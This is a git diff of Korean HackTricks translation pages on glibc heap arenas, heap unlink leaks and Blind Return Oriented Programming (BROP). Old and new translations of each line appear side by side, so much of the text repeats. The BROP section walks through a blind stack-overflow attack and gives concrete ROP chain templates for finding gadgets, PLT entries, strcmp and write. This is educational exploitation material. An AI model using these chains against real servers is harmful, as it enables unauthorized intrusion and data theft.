||||
</details>
|
||||
|
||||
이전 예제를 디버깅하면 처음에는 아레나가 하나만 있는 것을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
그런 다음, 첫 번째 스레드를 호출하는 스레드, malloc을 호출하는 스레드를 호출한 후에 새로운 아레나가 생성됩니다:
|
||||
이전 예제를 디버깅하면 처음에 1개의 아레나만 있는 것을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
그리고 그 안에 일부 청크를 찾을 수 있습니다:
|
||||
그런 다음, 첫 번째 스레드를 호출한 후, malloc을 호출하는 스레드에서 새로운 아레나가 생성됩니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & 메모리 할당/해제
|
||||
그 안에는 몇 개의 청크가 있습니다:
|
||||
|
||||
다음에서 bins가 무엇이며 어떻게 구성되어 있는지, 그리고 메모리가 할당되고 해제되는 방법을 확인하십시오:
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Bins이 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 힙 함수 보안 검사
|
||||
## Heap Functions Security Checks
|
||||
|
||||
힙에 관여하는 함수는 힙이 손상되지 않았는지 확인하기 위해 작업을 수행하기 전에 특정 검사를 수행할 것입니다:
|
||||
힙과 관련된 함수는 힙이 손상되지 않았는지 확인하기 위해 작업을 수행하기 전에 특정 검사를 수행합니다:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
```
|
||||
### 그래픽 설명
|
||||
|
||||
unlink 프로세스의 훌륭한 그래픽 설명을 확인하세요:
|
||||
unlink 프로세스에 대한 훌륭한 그래픽 설명을 확인하세요:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### 보안 확인 사항
|
||||
### 보안 검사
|
||||
|
||||
* 청크의 크기가 다음 청크에 표시된 prev\_size와 동일한지 확인
|
||||
* 또한 `P->fd->bk == P` 및 `P->bk->fw == P`를 확인
|
||||
* 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P` 및 `P->bk_nextsize->fd_nextsize == P`를 확인
|
||||
* 청크의 지정된 크기가 다음 청크에 표시된 prev\_size와 동일한지 확인합니다.
|
||||
* 또한 `P->fd->bk == P` 및 `P->bk->fw == P`인지 확인합니다.
|
||||
* 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P` 및 `P->bk_nextsize->fd_nextsize == P`인지 확인합니다.
|
||||
|
||||
### 누출
|
||||
### 누수
|
||||
|
||||
언링크된 청크는 할당된 주소를 정리하지 않으므로, rad에 액세스하여 흥미로운 주소를 누출할 수 있습니다:
|
||||
unlink된 청크는 할당된 주소를 정리하지 않으므로, 이를 읽을 수 있는 접근 권한이 있으면 흥미로운 주소를 누출할 수 있습니다:
|
||||
|
||||
Libc 누출:
|
||||
Libc 누수:
|
||||
|
||||
* P가 이중 연결 목록의 헤드에 위치한 경우, `bk`는 libc의 `malloc_state`를 가리킵니다.
|
||||
* P가 이중 연결 목록의 끝에 위치한 경우, `fd`는 libc의 `malloc_state`를 가리킵니다.
|
||||
* 이중 연결 목록에 빈 청크가 하나만 있는 경우, P가 이중 연결 목록에 있고, `fd`와 `bk` 모두 `malloc_state` 내부 주소를 누출할 수 있습니다.
|
||||
* P가 이중 연결 리스트의 머리에 위치하면, `bk`는 libc의 `malloc_state`를 가리킵니다.
|
||||
* P가 이중 연결 리스트의 끝에 위치하면, `fd`는 libc의 `malloc_state`를 가리킵니다.
|
||||
* 이중 연결 리스트에 단 하나의 무료 청크만 포함되어 있을 때, P는 이중 연결 리스트에 있으며, `fd`와 `bk` 모두 `malloc_state` 내부의 주소를 누출할 수 있습니다.
|
||||
|
||||
힙 누출:
|
||||
힙 누수:
|
||||
|
||||
* P가 이중 연결 목록의 헤드에 위치한 경우, `fd`는 힙의 사용 가능한 청크를 가리킵니다.
|
||||
* P가 이중 연결 목록의 끝에 위치한 경우, `bk`는 힙의 사용 가능한 청크를 가리킵니다.
|
||||
* P가 이중 연결 목록에 있는 경우, `fd`와 `bk`는 모두 힙의 사용 가능한 청크를 가리킵니다.
|
||||
* P가 이중 연결 리스트의 머리에 위치하면, `fd`는 힙의 사용 가능한 청크를 가리킵니다.
|
||||
* P가 이중 연결 리스트의 끝에 위치하면, `bk`는 힙의 사용 가능한 청크를 가리킵니다.
|
||||
* P가 이중 연결 리스트에 있으면, `fd`와 `bk` 모두 힙의 사용 가능한 청크를 가리킵니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,135 +1,151 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
# BROP - 블라인드 리턴 지향 프로그래밍
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이 공격의 목표는 **취약한 이진 파일에 대한 어떠한 정보도 없이 버퍼 오버플로우를 통해 ROP를 남용하는 것**입니다.\
|
||||
이 공격은 다음 시나리오에 기반을 두고 있습니다:
|
||||
이 공격의 목표는 **취약한 바이너리에 대한 정보 없이 버퍼 오버플로우를 통해 ROP를 악용할 수 있는 능력**입니다.\
|
||||
이 공격은 다음 시나리오를 기반으로 합니다:
|
||||
|
||||
* 스택 취약점 및 그것을 트리거하는 방법에 대한 지식.
|
||||
* 충돌 후 서버 응용 프로그램이 다시 시작되는 서버 응용 프로그램.
|
||||
* 스택 취약점과 이를 유발하는 방법에 대한 지식.
|
||||
* 충돌 후 재시작되는 서버 애플리케이션.
|
||||
|
||||
## 공격
|
||||
|
||||
### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 글자 더 보내기
|
||||
### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 문자를 더 보내기
|
||||
|
||||
### **2. 캐너리 무차별 대입**하여 누출하기
|
||||
### **2. 카나리 무차별 대입** 이를 유출하기 위해
|
||||
|
||||
### **3. 저장된 RBP 및 RIP 무차별 대입**하여 누출하기
|
||||
### **3. 스택에서 저장된 RBP 및 RIP** 주소를 무차별 대입하여 유출하기
|
||||
|
||||
이러한 프로세스에 대한 자세한 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) 및 [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다.
|
||||
이 프로세스에 대한 더 많은 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)와 [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다.
|
||||
|
||||
### **4. 중지 가젯 찾기**
|
||||
### **4. 정지 가젯 찾기**
|
||||
|
||||
이 가젯은 기본적으로 ROP 가젯에 의해 실행된 흥미로운 작업이 충돌하지 않았기 때문에 확인할 수 있도록 합니다. 일반적으로 이 가젯은 **실행을 중지**하고 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 가젯을 찾을 때 ROP 체인의 끝에 위치합니다.
|
||||
이 가젯은 기본적으로 ROP 가젯에 의해 흥미로운 것이 실행되었음을 확인할 수 있게 해줍니다. 실행이 충돌하지 않았기 때문입니다. 일반적으로 이 가젯은 **실행을 중지**시키는 것이며, 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 체인의 끝에 위치합니다.
|
||||
|
||||
### **5. BROP 가젯 찾기**
|
||||
|
||||
이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 이 가젯에 액세스하면 중간에 일부 명령이 있기 때문에 **`rsi`** 및 **`rdi`**를 제어할 수 있는 가젯을 얻을 수 있기 때문입니다:
|
||||
이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 이 가젯에 접근하면 **`rsi`**와 **`rdi`**를 제어할 수 있는 가젯을 얻기 때문입니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
다음은 이러한 가젯들입니다:
|
||||
이것들이 가젯입니다:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
이러한 가젯을 사용하면 함수의 **2개의 인수를 제어**할 수 있음을 주목하세요.
|
||||
이 가젯을 사용하면 함수 호출의 **2개의 인자를 제어**할 수 있다는 점에 유의하세요.
|
||||
|
||||
또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 이는 스택에서 6개의 레지스터를 팝할 것입니다. 따라서 다음과 같은 체인을 보내면:
|
||||
또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 왜냐하면 스택에서 6개의 레지스터를 팝하기 때문입니다. 따라서 다음과 같은 체인을 보내면:
|
||||
|
||||
`'A' * 오프셋 + 캐너리 + rbp + 주소 + 0xdead * 6 + 중지`
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
만약 **STOP이 실행**된다면, 이는 기본적으로 **스택에서 6개의 레지스터를 팝하는 주소**가 사용되었음을 의미합니다. 또는 사용된 주소가 또한 STOP 주소였음을 의미합니다.
|
||||
**STOP이 실행되면**, 이는 기본적으로 스택에서 6개의 레지스터를 팝하는 **주소가 사용되었다는 것을 의미**합니다. 또는 사용된 주소가 또한 STOP 주소였다는 것을 의미합니다.
|
||||
|
||||
이 **마지막 옵션을 제거**하기 위해 다음과 같은 새로운 체인을 실행하고 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯이 실행되지 않아야 합니다:
|
||||
이 마지막 옵션을 **제거하기 위해** 다음과 같은 새로운 체인이 실행되며, 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯을 실행하지 않아야 합니다:
|
||||
|
||||
`'A' * 오프셋 + 캐너리 + rbp + 주소`
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
ret2csu 가젯의 주소를 알면 **`rsi` 및 `rdi`를 제어하는 가젯의 주소를 추론**할 수 있습니다.
|
||||
ret2csu 가젯의 주소를 알고 있다면, **`rsi`와 `rdi`를 제어할 가젯의 주소를 유추할 수 있습니다.**
|
||||
|
||||
### 6. PLT 찾기
|
||||
|
||||
PLT 테이블은 0x400000 또는 스택에서 누출된 RIP 주소 (PIE가 사용 중인 경우)부터 검색할 수 있습니다. 테이블의 **엔트리**는 16B(0x10B)로 구분되며 함수가 호출될 때 인수가 올바르지 않아도 서버가 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째로 실행되는 코드이기 때문입니다.
|
||||
PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소**에서 검색할 수 있습니다(만약 **PIE**가 사용되고 있다면). 테이블의 **항목**은 **16B**(0x10B)로 구분되어 있으며, 하나의 함수가 호출될 때 서버는 인자가 올바르지 않더라도 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째 코드가 실행되기 때문입니다.
|
||||
|
||||
따라서 다음과 같은 동작을 확인하여 PLT 테이블을 찾을 수 있습니다:
|
||||
따라서 다음 동작을 확인하여 PLT 테이블을 찾을 수 있습니다:
|
||||
|
||||
* `'A' * 오프셋 + 캐너리 + rbp + 주소 + 중지` -> 충돌 없음
|
||||
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x6) + 중지` -> 충돌 없음
|
||||
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x10) + 중지` -> 충돌 없음
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> 충돌 없음
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 충돌 없음
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 충돌 없음
|
||||
|
||||
### 7. strcmp 찾기
|
||||
|
||||
**`strcmp`** 함수는 비교되는 문자열의 길이를 나타내는 레지스터 **`rdx`**를 설정합니다. **`rdx`**는 **세 번째 인수**이며 나중에 프로그램을 누출하기 위해 `write`를 사용하려면 **0보다 큰** 값이어야 합니다.
|
||||
**`strcmp`** 함수는 비교되는 문자열의 길이를 레지스터 **`rdx`**에 설정합니다. **`rdx`**는 **세 번째 인자**이며, 나중에 `write`를 사용하여 프로그램을 유출하기 위해 **0보다 커야** 합니다.
|
||||
|
||||
이제 우리는 이제 함수의 처음 2개의 인수를 제어할 수 있기 때문에 **`strcmp`**의 위치를 PLT에서 찾을 수 있습니다. 이를 통해 다음과 같은 동작을 사용하여 **`strcmp`**의 위치를 찾을 수 있습니다:
|
||||
이제 함수의 첫 두 인자를 제어할 수 있는 사실을 바탕으로 PLT에서 **`strcmp`**의 위치를 찾을 수 있습니다:
|
||||
|
||||
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 없는 주소>) -> 충돌
|
||||
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌
|
||||
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌
|
||||
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음
|
||||
* strcmp(\<읽지 않는 주소>, \<읽지 않는 주소>) -> 충돌
|
||||
* strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌
|
||||
* strcmp(\<읽는 주소>, \<읽지 않는 주소>) -> 충돌
|
||||
* strcmp(\<읽는 주소>, \<읽는 주소>) -> 충돌 없음
|
||||
|
||||
PLT 테이블의 각 엔트리를 호출하거나 **PLT slow path**를 사용하여 이를 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 엔트리 + 0xb** (즉, **`dlresolve`**를 호출)를 호출한 다음 스택에서 **조사하려는 엔트리 번호** (0부터 시작)를 따릅니다:
|
||||
이것은 PLT 테이블의 각 항목을 호출하거나 **PLT 느린 경로**를 사용하여 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목을 호출한 후 + 0xb**(이는 **`dlresolve`**를 호출함)이며, 스택에서 **탐색하고자 하는 항목 번호**(0부터 시작)를 뒤따릅니다:
|
||||
|
||||
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌
|
||||
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지` -> 충돌 발생
|
||||
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌
|
||||
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지` 
|
||||
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음
|
||||
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지` 
|
||||
* strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 충돌 발생
|
||||
* strcmp(\<읽는 주소>, \<읽지 않는 주소>) -> 충돌
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<읽는 주소>, \<읽는 주소>) -> 충돌 없음
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
기억하세요:
|
||||
|
||||
* BROP + 0x7은 **`pop RSI; pop R15; ret;`**를 가리킵니다.
|
||||
* BROP + 0x9은 **`pop RDI; ret;`**를 가리킵니다.
|
||||
* PLT + 0xb는 **dl\_resolve**를 호출합니다.
|
||||
* BROP + 0x7는 **`pop RSI; pop R15; ret;`**를 가리킵니다.
|
||||
* BROP + 0x9는 **`pop RDI; ret;`**를 가리킵니다.
|
||||
* PLT + 0xb는 **dl\_resolve** 호출을 가리킵니다.
|
||||
|
||||
`strcmp`를 찾았다면 **`rdx`**를 0보다 큰 값으로 설정할 수 있습니다.
|
||||
`strcmp`를 찾으면 **`rdx`**를 0보다 큰 값으로 설정할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
일반적으로 `rdx`에는 이미 0보다 큰 값이 들어 있기 때문에 이 단계는 필요하지 않을 수 있습니다.
|
||||
일반적으로 `rdx`는 이미 0보다 큰 값을 가지고 있으므로 이 단계는 필요하지 않을 수 있습니다.
|
||||
{% endhint %}
|
||||
### 8. Write 또는 동등한 함수 찾기
|
||||
|
||||
마지막으로, 이진 파일을 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 그리고 이 순간에는 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.**
|
||||
### 8. Write 또는 동등한 것 찾기
|
||||
|
||||
이를 위해 악용할 수 있는 3가지 일반적인 함수가 있습니다:
|
||||
마지막으로, 바이너리를 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 이 시점에서 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.**
|
||||
|
||||
- `puts(data)`
|
||||
- `dprintf(fd, data)`
|
||||
- `write(fd, data, len(data)`
|
||||
이를 위해 악용할 수 있는 일반적인 함수는 3개가 있습니다:
|
||||
|
||||
그러나 원본 논문은 **`write`** 함수에 대해서만 언급하므로, 이에 대해 이야기해 보겠습니다:
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data))`
|
||||
|
||||
현재 문제는 **PLT 내부에 write 함수가 어디에 있는지 모르며** 우리의 소켓으로 데이터를 보낼 **fd 번호를 모르는 것**입니다.
|
||||
그러나 원본 논문에서는 **`write`** 함수만 언급하므로 이에 대해 이야기하겠습니다:
|
||||
|
||||
그러나 **PLT 테이블이 어디에 있는지 알 수 있으며** 그 **동작을 기반으로 write를 찾을 수 있습니다.** 그리고 서버와 **여러 연결을 생성**하고 **높은 FD**를 사용하여 우리의 연결 중 일부와 일치하는지 확인할 수 있습니다.
|
||||
현재 문제는 **PLT 내에서 write 함수가 어디에 있는지 모르고**, **데이터를 소켓으로 전송할 fd 번호를 모르기** 때문입니다.
|
||||
|
||||
이러한 함수를 찾기 위한 동작 식별자:
|
||||
하지만 **PLT 테이블이 어디에 있는지 알고 있으며**, 그 **행동**을 기반으로 write를 찾을 수 있습니다. 그리고 **여러 연결**을 서버와 생성하고 **높은 FD**를 사용하여 우리의 연결 중 하나와 일치하기를 희망할 수 있습니다.
|
||||
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 puts가 발견됨
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 dprintf가 발견됨
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 인쇄되면 write가 발견됨
|
||||
이 함수들을 찾기 위한 행동 서명:
|
||||
|
||||
## 자동 활용
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, puts가 발견된 것입니다.
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, dprintf가 발견된 것입니다.
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, write가 발견된 것입니다.
|
||||
|
||||
## 자동 익스플로잇
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## 참고 자료
|
||||
## 참고 문헌
|
||||
|
||||
* 원본 논문: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
